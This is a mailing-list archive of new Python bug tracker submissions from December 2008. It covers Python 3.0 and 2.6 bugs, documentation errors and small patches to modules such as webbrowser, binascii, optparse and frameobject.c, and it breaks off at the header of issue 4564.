Message-ID: <1228427350.73.0.444727846196.issue4537@psf.upfronthosting.co.za>


New submission from Michael Schurter <michael at lofiart.com>:

On the joyous occasion of Python 3000's release my friends & I were
playing with "import antigravity" and it failed for someone with the
following traceback (anonymized):

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/.../lib/python3.0/antigravity.py", line 4, in <module>
    webbrowser.open("http://xkcd.com/353/")
  File "/.../lib/python3.0/webbrowser.py", line 61, in open
    if browser.open(url, new, autoraise):
  File "/.../lib/python3.0/webbrowser.py", line 275, in open
    success = self._invoke(args, True, autoraise)
  File "/.../lib/python3.0/webbrowser.py", line 226, in _invoke
    inout = open(os.devnull, "r+")
  File "/.../lib/python3.0/webbrowser.py", line 61, in open
    if browser.open(url, new, autoraise):
  File "/.../lib/python3.0/webbrowser.py", line 271, in open
    "expected 0, 1, or 2, got %s" % new)
webbrowser.Error: Bad 'new' parameter to open(); expected 0, 1, or 2, got r+

I believe the following patch (against branches/release30-maint) fixes
it cleanly:

Index: Lib/webbrowser.py
===================================================================
--- Lib/webbrowser.py	(revision 67538)
+++ Lib/webbrowser.py	(working copy)
@@ -8,6 +8,7 @@
 import stat
 import subprocess
 import time
+import builtins
 
 __all__ = ["Error", "open", "open_new", "open_new_tab", "get", "register"]
 
@@ -223,7 +224,7 @@
         cmdline = [self.name] + raise_opt + args
 
         if remote or self.background:
-            inout = open(os.devnull, "r+")
+            inout = builtins.open(os.devnull, "r+")
         else:
             # for TTY browsers, we need stdin/out
             inout = None

----------
components: Library (Lib)
messages: 76931
nosy: schmichael
severity: normal
status: open
title: webbrowser.UnixBrowser should use builtins.open
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4537>
_______________________________________

From report at bugs.python.org  Thu Dec  4 22:51:13 2008
From: report at bugs.python.org (Roy Smith)
Date: Thu, 04 Dec 2008 21:51:13 +0000
Subject: [New-bugs-announce] [issue4538] ctypes could include data type
	limits
In-Reply-To: <1228427473.9.0.217264981204.issue4538@psf.upfronthosting.co.za>
Message-ID: <1228427473.9.0.217264981204.issue4538@psf.upfronthosting.co.za>


New submission from Roy Smith <roy at panix.com>:

It would be useful if ctypes included limiting constants for the various 
fixed-size integers, i.e. MAX_INT_32, MIN_INT_32, etc.

Maybe it does and I just missed just didn't see it in the docs?

----------
assignee: theller
components: ctypes
messages: 76932
nosy: roysmith, theller
severity: normal
status: open
title: ctypes could include data type limits
type: feature request

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4538>
_______________________________________

From report at bugs.python.org  Fri Dec  5 00:05:16 2008
From: report at bugs.python.org (Chad Spratt)
Date: Thu, 04 Dec 2008 23:05:16 +0000
Subject: [New-bugs-announce] [issue4539] askdirectory() in
	tkinter.filedialog is broken
In-Reply-To: <1228431916.65.0.748760497567.issue4539@psf.upfronthosting.co.za>
Message-ID: <1228431916.65.0.748760497567.issue4539@psf.upfronthosting.co.za>


New submission from Chad Spratt <internet2.0 at gmail.com>:

Calls to tkinter.filedialog.askdirectory() throw a KeyError if any of 
the options (title, text, bitmap, default, strings) are not provided.

Previously saying "askdirectory()" with no arguments would open a file 
browser window. Since all other functions in filedialog still function 
with no arguments this seems like an error. (Actually askopenfiles() 
seems to be broken too, saying "IOError: [Errno 2] No such file or 
directory: '{'")

----------
components: Tkinter
messages: 76941
nosy: dogtato
severity: normal
status: open
title: askdirectory() in tkinter.filedialog is broken
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4539>
_______________________________________

From report at bugs.python.org  Fri Dec  5 00:38:43 2008
From: report at bugs.python.org (John Weldon)
Date: Thu, 04 Dec 2008 23:38:43 +0000
Subject: [New-bugs-announce] [issue4540] typo in a module describes utf-8 as
	uft-8
In-Reply-To: <1228433923.53.0.179522089961.issue4540@psf.upfronthosting.co.za>
Message-ID: <1228433923.53.0.179522089961.issue4540@psf.upfronthosting.co.za>


New submission from John Weldon <johnweldon4 at gmail.com>:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "c:\Python30\lib\site.py", line 427, in __call__
    return pydoc.help(*args, **kwds)
  File "c:\Python30\lib\pydoc.py", line 1675, in __call__
    self.interact()
  File "c:\Python30\lib\pydoc.py", line 1693, in interact
    self.help(request)
  File "c:\Python30\lib\pydoc.py", line 1711, in help
    self.listmodules(request.split()[1])
  File "c:\Python30\lib\pydoc.py", line 1799, in listmodules
    apropos(key)
  File "c:\Python30\lib\pydoc.py", line 1913, in apropos
    ModuleScanner().run(callback, key, onerror=onerror)
  File "c:\Python30\lib\pydoc.py", line 1875, in run
    source = loader.get_source(modname)
  File "c:\Python30\lib\pkgutil.py", line 293, in get_source
    self.source = self.file.read()
  File "c:\Python30\lib\io.py", line 1720, in read
    decoder = self._decoder or self._get_decoder()
  File "c:\Python30\lib\io.py", line 1506, in _get_decoder
    make_decoder = codecs.getincrementaldecoder(self._encoding)
  File "c:\Python30\lib\codecs.py", line 960, in getincrementaldecoder
    decoder = lookup(encoding).incrementaldecoder
LookupError: unknown encoding: uft-8

----------
files: python3bug.png
messages: 76945
nosy: john.weldon
severity: normal
status: open
title: typo in a module describes utf-8 as uft-8
type: crash
versions: Python 3.0
Added file: http://bugs.python.org/file12229/python3bug.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4540>
_______________________________________

From report at bugs.python.org  Fri Dec  5 01:33:34 2008
From: report at bugs.python.org (Zach Hirsch)
Date: Fri, 05 Dec 2008 00:33:34 +0000
Subject: [New-bugs-announce] [issue4541] Add str method for removing leading
	or trailing substrings
In-Reply-To: <1228437214.43.0.978352095639.issue4541@psf.upfronthosting.co.za>
Message-ID: <1228437214.43.0.978352095639.issue4541@psf.upfronthosting.co.za>


New submission from Zach Hirsch <zhirsch at umich.edu>:

I've found that having a way to strip a leading substring from a string
is convienent. I've also gotten bitten by the fact that str.strip takes
a sequence of characters to remove from the beginning -- not a full string.

I've attached a patch that implements lstrips, rstrips, and strips on
str, unicode, and as methods in the string module. I'm not particularly
attached to the names.

Please consider this patch for inclusion in Python. Thanks!

----------
components: Library (Lib)
files: lstrips-67529.patch
keywords: patch
messages: 76953
nosy: zhirsch
severity: normal
status: open
title: Add str method for removing leading or trailing substrings
type: feature request
versions: Python 2.7
Added file: http://bugs.python.org/file12232/lstrips-67529.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4541>
_______________________________________

From report at bugs.python.org  Fri Dec  5 02:36:54 2008
From: report at bugs.python.org (Amaury Forgeot d'Arc)
Date: Fri, 05 Dec 2008 01:36:54 +0000
Subject: [New-bugs-announce] [issue4542] test_binascii fails on windows
In-Reply-To: <1228441014.26.0.452490077476.issue4542@psf.upfronthosting.co.za>
Message-ID: <1228441014.26.0.452490077476.issue4542@psf.upfronthosting.co.za>


New submission from Amaury Forgeot d'Arc <amauryfa at gmail.com>:

issue #4387 (67472) changed binascii and added tests, but the windows 
specific implementation was not changed. Change is trivial:

Index: Modules/binascii.c
===================================================================
--- Modules/binascii.c  (revision 67538)
+++ Modules/binascii.c  (working copy)
@@ -1019,7 +1019,7 @@
        Py_ssize_t len;
        unsigned int result;

-       if ( !PyArg_ParseTuple(args, "s*|I:crc32", &pbin, &crc) )
+       if ( !PyArg_ParseTuple(args, "y*|I:crc32", &pbin, &crc) )
                return NULL;
        bin_data = pbin.buf;
        len = pbin.len;

----------
components: Windows
keywords: easy, patch
messages: 76963
nosy: amaury.forgeotdarc
severity: normal
status: open
title: test_binascii fails on windows
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4542>
_______________________________________

From report at bugs.python.org  Fri Dec  5 08:53:40 2008
From: report at bugs.python.org (Kevin J. Woolley)
Date: Fri, 05 Dec 2008 07:53:40 +0000
Subject: [New-bugs-announce] [issue4543] container constructors destroy
	argument
In-Reply-To: <1228463620.98.0.983190950488.issue4543@psf.upfronthosting.co.za>
Message-ID: <1228463620.98.0.983190950488.issue4543@psf.upfronthosting.co.za>


New submission from Kevin J. Woolley <kjw at kjwcode.com>:

Doing the following (more info than necessary in case I'm doing
something weird):

def odd(n):
    return n % 2

x = (1, 2, 3, 4, 5)
y = filter(odd, x)
list(y)
list(y)

Will correctly build a list from y and return [1, 3, 5] on the first
call to list(), but will return an empty list thereafter.  y still
identifies itself as a filter object, but you either can't coerce it to
anything else or the value of the filter object is reset (I don't know
how to tell the difference yet).

The other container constructors (set, tuple, etc.) seem to have the
same behaviour.

----------
components: Library (Lib)
messages: 76975
nosy: kjwcode
severity: normal
status: open
title: container constructors destroy argument
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4543>
_______________________________________

From report at bugs.python.org  Fri Dec  5 10:02:58 2008
From: report at bugs.python.org (Casey McGinty)
Date: Fri, 05 Dec 2008 09:02:58 +0000
Subject: [New-bugs-announce] [issue4544] textwrap: __all__ atribute missing
	'dedent' functino
In-Reply-To: <1228467778.52.0.173118207596.issue4544@psf.upfronthosting.co.za>
Message-ID: <1228467778.52.0.173118207596.issue4544@psf.upfronthosting.co.za>


New submission from Casey McGinty <casey.mcginty at gmail.com>:

>From textwrap.py: 46863 2006-06-11 19:42:51Z tim.peters

The __all__ define in this module is missing the helper function 'dedent'. 

This causes pydoc to not the list the function correctly.

Secondly, it also prevents 'dedent' from being imported when using 'from
textwrap import *'  (Yes, yes, I know this should never be done. Hence
why it is probably never noticed by anyone.)

----------
components: Extension Modules
messages: 76986
nosy: wolfdown
severity: normal
status: open
title: textwrap: __all__ atribute missing 'dedent' functino
type: feature request
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4544>
_______________________________________

From report at bugs.python.org  Fri Dec  5 12:45:55 2008
From: report at bugs.python.org (ekorn)
Date: Fri, 05 Dec 2008 11:45:55 +0000
Subject: [New-bugs-announce] [issue4545] doctest seems to always fail on
	numpy.array2string
In-Reply-To: <1228477555.39.0.103154485661.issue4545@psf.upfronthosting.co.za>
Message-ID: <1228477555.39.0.103154485661.issue4545@psf.upfronthosting.co.za>


New submission from ekorn <jonovik at gmail.com>:

I don't understand this doctest error, resulting from
python test_doctest.py

Failed example:
    numpy.array2string(numpy.arange(2))
Expected:
    [0 1]
Got:
    '[0 1]'

The specified output was copied-and-pasted directly from running the 
example. Whitespace seems identical and #doctest: +NORMALIZE_WHITESPACE 
does not help.

----------
components: Tests
files: test_doctest.py
messages: 77006
nosy: ekorn
severity: normal
status: open
title: doctest seems to always fail on numpy.array2string
type: behavior
versions: Python 2.5
Added file: http://bugs.python.org/file12237/test_doctest.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4545>
_______________________________________

From report at bugs.python.org  Fri Dec  5 13:58:02 2008
From: report at bugs.python.org (Paul Melis)
Date: Fri, 05 Dec 2008 12:58:02 +0000
Subject: [New-bugs-announce] [issue4546] Small thingy in "What's New in
	Python 3.0"
In-Reply-To: <1228481882.44.0.510834493207.issue4546@psf.upfronthosting.co.za>
Message-ID: <1228481882.44.0.510834493207.issue4546@psf.upfronthosting.co.za>


New submission from Paul Melis <paul at floorball-flamingos.nl>:

The second to last item under "Removed Syntax" (about relative imports)
shows ReST markup in the HTML file, probably not the way it should read:

The only acceptable syntax for relative imports is from .``[*module*]
:keyword:`import` *name*; :keyword:`import` forms not starting with ``.
are always interpreted as absolute imports.

----------
assignee: georg.brandl
components: Documentation
messages: 77010
nosy: georg.brandl, paulmelis
severity: normal
status: open
title: Small thingy in "What's New in Python 3.0"
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4546>
_______________________________________

From report at bugs.python.org  Fri Dec  5 14:05:08 2008
From: report at bugs.python.org (fboule)
Date: Fri, 05 Dec 2008 13:05:08 +0000
Subject: [New-bugs-announce] [issue4547] Long jumps with frame_setlineno
In-Reply-To: <1228482308.72.0.125764742892.issue4547@psf.upfronthosting.co.za>
Message-ID: <1228482308.72.0.125764742892.issue4547@psf.upfronthosting.co.za>


New submission from fboule <fabien.bouleau at ses-engineering.com>:

This concerns a known bug in the frame_setlineno() function for Python
2.5.x and 2.6.x (maybe in earlier/later version too). It is not possible
to use this function when the address or line offset in lnotab are
greater than 127. The problem comes from the lnotab variable which is
typed char*, i.e. "signed char*" implicitly. Any value above 127 becomes
a negative number.

The fix is very simple (applied on the Python 2.6.1 version of the
source code):

--- frameobject.c       Thu Oct 02 19:39:50 2008
+++ frameobject_fixed.c Fri Dec 05 11:27:42 2008
@@ -119,8 +119,8 @@
        line = f->f_code->co_firstlineno;
        new_lasti = -1;
        for (offset = 0; offset < lnotab_len; offset += 2) {
-               addr += lnotab[offset];
-               line += lnotab[offset+1];
+               addr += ((unsigned char*)lnotab)[offset];
+               line += ((unsigned char*)lnotab)[offset+1];
                if (line >= new_lineno) {
                        new_lasti = addr;
                        new_lineno = line;

----------
components: Interpreter Core
messages: 77013
nosy: fboule
severity: normal
status: open
title: Long jumps with frame_setlineno
type: crash
versions: Python 2.5, Python 2.5.3, Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4547>
_______________________________________

From report at bugs.python.org  Fri Dec  5 16:19:32 2008
From: report at bugs.python.org (Olivier Hervieu)
Date: Fri, 05 Dec 2008 15:19:32 +0000
Subject: [New-bugs-announce] [issue4548] OptionParser : Weird comportement
	in args processing
In-Reply-To: <1228490372.76.0.909413674662.issue4548@psf.upfronthosting.co.za>
Message-ID: <1228490372.76.0.909413674662.issue4548@psf.upfronthosting.co.za>


New submission from Olivier Hervieu <olivier.hervieu at wallix.com>:

Hi guys.. i found something strange on the behavior of OptionParser

If I have this sample code : 

import sys
from optparse import OptionParser

if __name__ == '__main__':
    parser = OptionParser()
    parser.add_option("-p", "--p", help="The P of python", default=None)
    parser.add_option("-y", "--y", help="The Y of python", default=None)
        
    (options,args) = parser.parse_args(sys.argv)
    print options

and i execute :

myFile.py -p -y

the options.p will be -y and options.y will be None

worst.. if my user say :

myFile.py -p -y 'thon'

options.p will be -y and options.y will be None...

In all case I think that, if i do 

myFile.py -p -y 

options -p and options -y must be None

and if i want to put -y in options.p i say something like 

myFile.py -p "-y" so i can do after myFile.py -p "-y" -y "thon".

----------
components: Extension Modules
messages: 77028
nosy: ohervieu
severity: normal
status: open
title: OptionParser : Weird comportement in args processing
type: behavior
versions: Python 2.5, Python 2.5.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4548>
_______________________________________

From report at bugs.python.org  Fri Dec  5 17:31:14 2008
From: report at bugs.python.org (ZX)
Date: Fri, 05 Dec 2008 16:31:14 +0000
Subject: [New-bugs-announce] [issue4549] A defect in <The Python
	Tutorial>-<Python Scopes and Name Spaces> (Python3.0)
In-Reply-To: <1228494674.65.0.590088285872.issue4549@psf.upfronthosting.co.za>
Message-ID: <1228494674.65.0.590088285872.issue4549@psf.upfronthosting.co.za>


New submission from ZX <tangshanqing at gmail.com>:

"If a name is declared global, then all references and assignments go
directly to the middle scope containing the module?s global names.
Otherwise, all variables found outside of the innermost scope are
read-only (an attempt to write to such a variable will simply create a
new local variable in the innermost scope, leaving the identically named
outer variable unchanged)." ___excerpt from <The Python
Tutorial>-<Classes>-<Python Scopes and Name Spaces>

The above description is correct in Python 2.X.
Since 3.X introduced the "nonlocal" keyword, I think the above
description is obsolete, need to be upgraded.

----------
assignee: georg.brandl
components: Documentation
messages: 77036
nosy: PyTiger, georg.brandl
severity: normal
status: open
title: A defect in <The Python Tutorial>-<Python Scopes and Name Spaces> (Python3.0)
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4549>
_______________________________________

From report at bugs.python.org  Fri Dec  5 18:09:32 2008
From: report at bugs.python.org (Jerry Chen)
Date: Fri, 05 Dec 2008 17:09:32 +0000
Subject: [New-bugs-announce] [issue4550] Deprecated python 2.x syntax in
	"HOWTO Use Python in the web"
In-Reply-To: <1228496972.39.0.491433702002.issue4550@psf.upfronthosting.co.za>
Message-ID: <1228496972.39.0.491433702002.issue4550@psf.upfronthosting.co.za>


New submission from Jerry Chen <jerry at 3rdengine.com>:

For people who are following HOWTO guides verbatim, there are two types
of Python 2.x'isms in "HOWTO Use Python in the web"
(http://www.python.org/doc/3.0/howto/webservers.html):

1. ``print`` statements instead of functions.
2. Use of beloved but deprecated ``%`` format operator.

Please see attached patch for the ReST source found at
http://www.python.org/doc/3.0/_sources/howto/webservers.txt.

Note: ``2to3`` was not actually used, as the filename may suggest.

----------
assignee: georg.brandl
components: Documentation
files: webservers-2to3.patch
keywords: patch
messages: 77040
nosy: georg.brandl, jcsalterego
severity: normal
status: open
title: Deprecated python 2.x syntax in "HOWTO Use Python in the web"
versions: Python 3.0
Added file: http://bugs.python.org/file12242/webservers-2to3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4550>
_______________________________________

From report at bugs.python.org  Fri Dec  5 20:41:43 2008
From: report at bugs.python.org (Andreas Kupries)
Date: Fri, 05 Dec 2008 19:41:43 +0000
Subject: [New-bugs-announce] [issue4551] The python 2.6.1 source
	distribution is missing Doc/tools/sphinxext
In-Reply-To: <1228506103.58.0.313450580338.issue4551@psf.upfronthosting.co.za>
Message-ID: <1228506103.58.0.313450580338.issue4551@psf.upfronthosting.co.za>


New submission from Andreas Kupries <andreask at activestate.com>:

The directory Doc/tools/sphinxext is missing in the Python 2.6.1 source
distribution. This breaks building the html help.

The directory is present in the Python 2.6 source distribution.

----------
components: Installation
messages: 77061
nosy: andreask
severity: normal
status: open
title: The python 2.6.1 source distribution is missing Doc/tools/sphinxext
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4551>
_______________________________________

From report at bugs.python.org  Fri Dec  5 21:55:35 2008
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 05 Dec 2008 20:55:35 +0000
Subject: [New-bugs-announce] [issue4552] Doc/tools/sphinxext not included in
	the 2.6.1 tarball
In-Reply-To: <1228510535.34.0.44573575416.issue4552@psf.upfronthosting.co.za>
Message-ID: <1228510535.34.0.44573575416.issue4552@psf.upfronthosting.co.za>


New submission from Matthias Klose <doko at debian.org>:

Doc/tools/sphinxext not included in the 2.6.1 tarball, but it is checked in.

----------
components: Build
messages: 77067
nosy: doko
priority: deferred blocker
severity: normal
status: open
title: Doc/tools/sphinxext not included in the 2.6.1 tarball
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4552>
_______________________________________

From report at bugs.python.org  Fri Dec  5 23:12:33 2008
From: report at bugs.python.org (Nicholas Patterson)
Date: Fri, 05 Dec 2008 22:12:33 +0000
Subject: [New-bugs-announce] [issue4553] Results from os.path.islink and
	os.stat S_ISLNK do not match
In-Reply-To: <1228515153.01.0.915897316596.issue4553@psf.upfronthosting.co.za>
Message-ID: <1228515153.01.0.915897316596.issue4553@psf.upfronthosting.co.za>


New submission from Nicholas Patterson <nicholas_patterson at agilent.com>:

See attached file, os.path.islink correctly identifies symlinks as 
symlinks, but S_ISLNK is not reporting them as such.

----------
components: None
files: demo.txt
messages: 77079
nosy: npatters
severity: normal
status: open
title: Results from os.path.islink and os.stat S_ISLNK do not match
type: behavior
versions: Python 2.5
Added file: http://bugs.python.org/file12245/demo.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4553>
_______________________________________

From report at bugs.python.org  Sat Dec  6 02:04:22 2008
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 06 Dec 2008 01:04:22 +0000
Subject: [New-bugs-announce] [issue4554] Missing make altframeworkinstall
	for Mac OS X
In-Reply-To: <1228525462.29.0.299893265835.issue4554@psf.upfronthosting.co.za>
Message-ID: <1228525462.29.0.299893265835.issue4554@psf.upfronthosting.co.za>


New submission from Christian Heimes <lists at cheimes.de>:

From
http://farmdev.com/thoughts/66/python-3-0-on-mac-os-x-alongside-2-6-2-5-etc-/

$ sudo make frameworkinstall

But ... you're not done. There isn't an altframeworkinstall target so
you will be overwriting your default python binary. 

I suggest that an altframeworkinstall target should be added.

----------
components: Installation, Macintosh
messages: 77088
nosy: christian.heimes
priority: high
severity: normal
stage: test needed
status: open
title: Missing  make altframeworkinstall for Mac OS X
type: feature request
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4554>
_______________________________________

From report at bugs.python.org  Sat Dec  6 02:29:10 2008
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 06 Dec 2008 01:29:10 +0000
Subject: [New-bugs-announce] [issue4555] Smelly exports
In-Reply-To: <1228526950.62.0.716618083363.issue4555@psf.upfronthosting.co.za>
Message-ID: <1228526950.62.0.716618083363.issue4555@psf.upfronthosting.co.za>


New submission from Christian Heimes <lists at cheimes.de>:

I just found about the smelly build target. It checks for smelly exports.

$ make smelly
[...]
nm -p libpython2.6.a | \
                sed -n "/ [TDB] /s/.* //p" | grep -v "^_*Py" | sort -u; \

asdl_int_seq_new
asdl_seq_new
init_ast
init_codecs
initerrno
initgc
initimp
initposix
initpwd
initsignal
init_sre
init_symtable
initthread
initxxsubtype
initzipimport

nm -p libpython3.0.a | \
                sed -n "/ [TDB] /s/.* //p" | grep -v "^_*Py" | sort -u; \

_add_one_to_index_C
_add_one_to_index_F
asdl_int_seq_new
asdl_seq_new

These should be checked and fixed.

----------
components: Interpreter Core
messages: 77090
nosy: christian.heimes
priority: high
severity: normal
stage: test needed
status: open
title: Smelly exports
type: resource usage
versions: Python 2.5.3, Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4555>
_______________________________________

From report at bugs.python.org  Sat Dec  6 02:58:02 2008
From: report at bugs.python.org (Mike Watkins)
Date: Sat, 06 Dec 2008 01:58:02 +0000
Subject: [New-bugs-announce] [issue4556] cmp() function erroneously noted as
	gone in "What's New"
In-Reply-To: <1228528682.39.0.573308363833.issue4556@psf.upfronthosting.co.za>
Message-ID: <1228528682.39.0.573308363833.issue4556@psf.upfronthosting.co.za>


New submission from Mike Watkins <python at mikewatkins.ca>:

What's new in 3.0 documentation says cmp() function is gone, yet it 
isn't:

>>> sys.version_info; cmp(1,1); cmp(1,2); cmp(2,1)
(3, 0, 0, 'final', 0)
0
-1
1

----------
assignee: georg.brandl
components: Documentation
messages: 77093
nosy: georg.brandl, mwatkins
severity: normal
status: open
title: cmp() function erroneously noted as gone in "What's New"
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4556>
_______________________________________

From report at bugs.python.org  Sat Dec  6 03:02:35 2008
From: report at bugs.python.org (jeff deifik)
Date: Sat, 06 Dec 2008 02:02:35 +0000
Subject: [New-bugs-announce] [issue4557] array('c') in python 3.0 produces
	error, doc says it is ok
In-Reply-To: <1228528955.11.0.946708107115.issue4557@psf.upfronthosting.co.za>
Message-ID: <1228528955.11.0.946708107115.issue4557@psf.upfronthosting.co.za>


New submission from jeff deifik <jeff at jeffunit.com>:

def char_sieve():
    char_data = array('c')
...

produces:
  File ".../prime.py", line 78, in char_sieve
    char_data = array('c')
ValueError: bad typecode (must be b, B, u, h, H, i, I, l, L, f or d)

However,
http://docs.python.org/3.0/library/array.html?highlight=array#module-array
says that 'c' is a legal value.

----------
assignee: georg.brandl
components: Documentation
messages: 77094
nosy: georg.brandl, lopgok
severity: normal
status: open
title: array('c') in python 3.0 produces error, doc says it is ok
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4557>
_______________________________________

From report at bugs.python.org  Sat Dec  6 03:25:26 2008
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 06 Dec 2008 02:25:26 +0000
Subject: [New-bugs-announce] [issue4558] with_stdc89
In-Reply-To: <1228530326.9.0.419197104424.issue4558@psf.upfronthosting.co.za>
Message-ID: <1228530326.9.0.419197104424.issue4558@psf.upfronthosting.co.za>


New submission from Christian Heimes <lists at cheimes.de>:

The patch adds a configure option --with-stdc89. It also fixes some edge
cases in socketmodule.h and linuxaudiodev so all related modules can be
build in c89 mode.

I'm planning to add the configure option to the build bots in order to
detect c89 incompatibilities like the usage of "inline" and // style
comments.

----------
components: Build
files: with_stdc89.patch
keywords: patch, patch
messages: 77097
nosy: christian.heimes
priority: normal
severity: normal
stage: patch review
status: open
title: with_stdc89
type: feature request
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12246/with_stdc89.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4558>
_______________________________________

From report at bugs.python.org  Sat Dec  6 10:55:20 2008
From: report at bugs.python.org (Lennart Regebro)
Date: Sat, 06 Dec 2008 09:55:20 +0000
Subject: [New-bugs-announce] [issue4559] Whats new recommendation error
In-Reply-To: <1228557320.05.0.356460400816.issue4559@psf.upfronthosting.co.za>
Message-ID: <1228557320.05.0.356460400816.issue4559@psf.upfronthosting.co.za>


New submission from Lennart Regebro <regebro at gmail.com>:

The whatsnew/3.0.rst document claims

"It is not recommended to try to write source code that runs unchanged
under both Python 2.6 and 3.0; you?d have to use a very contorted coding
style, e.g. avoiding print statements, metaclasses, and much more. "

This is no longer true, since 2.6 now has much backwards compatibility,
including fopr print statements and unicode, so it's prefectly possible
and not at all contorted to support both any longer.

I'd recommend that the above statement is changed to "under both Python
2.5 and 3.0" or simply removed.

----------
assignee: georg.brandl
components: Documentation
messages: 77108
nosy: georg.brandl, lregebro
severity: normal
status: open
title: Whats new recommendation error
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4559>
_______________________________________

From report at bugs.python.org  Sat Dec  6 12:23:47 2008
From: report at bugs.python.org (Jonathan Feinberg)
Date: Sat, 06 Dec 2008 11:23:47 +0000
Subject: [New-bugs-announce] [issue4560] "Flouted", not "flaunted"
In-Reply-To: <1228562627.9.0.790263792312.issue4560@psf.upfronthosting.co.za>
Message-ID: <1228562627.9.0.790263792312.issue4560@psf.upfronthosting.co.za>


New submission from Jonathan Feinberg <jdf at pobox.com>:

http://docs.python.org/3.0/whatsnew/3.0.html#library-changes

"Some modules were renamed because their old name flaunted PEP 0008"
should read "Some modules were renamed because their old name flouted
PEP 0008".

----------
assignee: georg.brandl
components: Documentation
messages: 77112
nosy: georg.brandl, jdf
severity: normal
status: open
title: "Flouted", not "flaunted"
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4560>
_______________________________________

From report at bugs.python.org  Sat Dec  6 13:14:51 2008
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 06 Dec 2008 12:14:51 +0000
Subject: [New-bugs-announce] [issue4561] Optimize new io library
In-Reply-To: <1228565691.76.0.695581669443.issue4561@psf.upfronthosting.co.za>
Message-ID: <1228565691.76.0.695581669443.issue4561@psf.upfronthosting.co.za>


New submission from Christian Heimes <lists at cheimes.de>:

The new io library needs some serious profiling and optimization work.
I've already fixed a severe slowdown in _fileio.FileIO's read buffer
allocation algorithm (#4533).

More profiling tests have shown a speed problem in write() files opened
in text mode. For example three str.count() calls are taking up 20% of
the time. The str.count calls can be replaced with an optimized C
function that returns the count of (\r\n, \n, \r) in one pass instead of
three passes.

----------
components: Extension Modules, Library (Lib)
messages: 77116
nosy: christian.heimes
priority: high
severity: normal
stage: test needed
status: open
title: Optimize new io library
type: performance
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4561>
_______________________________________

From report at bugs.python.org  Sat Dec  6 15:16:28 2008
From: report at bugs.python.org (Mariano M. Chouza)
Date: Sat, 06 Dec 2008 14:16:28 +0000
Subject: [New-bugs-announce] [issue4562] zip() documentation was not updated
In-Reply-To: <1228572988.54.0.0100551615792.issue4562@psf.upfronthosting.co.za>
Message-ID: <1228572988.54.0.0100551615792.issue4562@psf.upfronthosting.co.za>


New submission from Mariano M. Chouza <mchouza at gmail.com>:

zip() function documentatio still shows the old behavior of the
function, returning a list.

http://docs.python.org/3.0/library/functions.html?highlight=zip#zip

----------
assignee: georg.brandl
components: Documentation
messages: 77126
nosy: georg.brandl, mchouza
severity: normal
status: open
title: zip() documentation was not updated
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4562>
_______________________________________

From report at bugs.python.org  Sat Dec  6 15:29:27 2008
From: report at bugs.python.org (Ori Avtalion)
Date: Sat, 06 Dec 2008 14:29:27 +0000
Subject: [New-bugs-announce] [issue4563] Wrong formatting of contributor
	list in About page
In-Reply-To: <1228573767.66.0.95540674758.issue4563@psf.upfronthosting.co.za>
Message-ID: <1228573767.66.0.95540674758.issue4563@psf.upfronthosting.co.za>


New submission from Ori Avtalion <ori at avtalion.name>:

The bulleted list of credits in the about page is turning people's
initials into numbering.

For example:
   * A. Amoroso
   * L. Peter Deutsch
appear as 
   * 1. Amoroso
   * 12. Peter Deutsch

<http://docs.python.org/about.html>

----------
assignee: georg.brandl
components: Documentation
messages: 77128
nosy: georg.brandl, salty-horse
severity: normal
status: open
title: Wrong formatting of contributor list in About page
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4563>
_______________________________________

From report at bugs.python.org  Sat Dec  6 15:56:43 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sat, 06 Dec 2008 14:56:43 +0000
Subject: [New-bugs-announce] [issue4564] bytearray.fromhex doesn't respect
	bytearray subclass
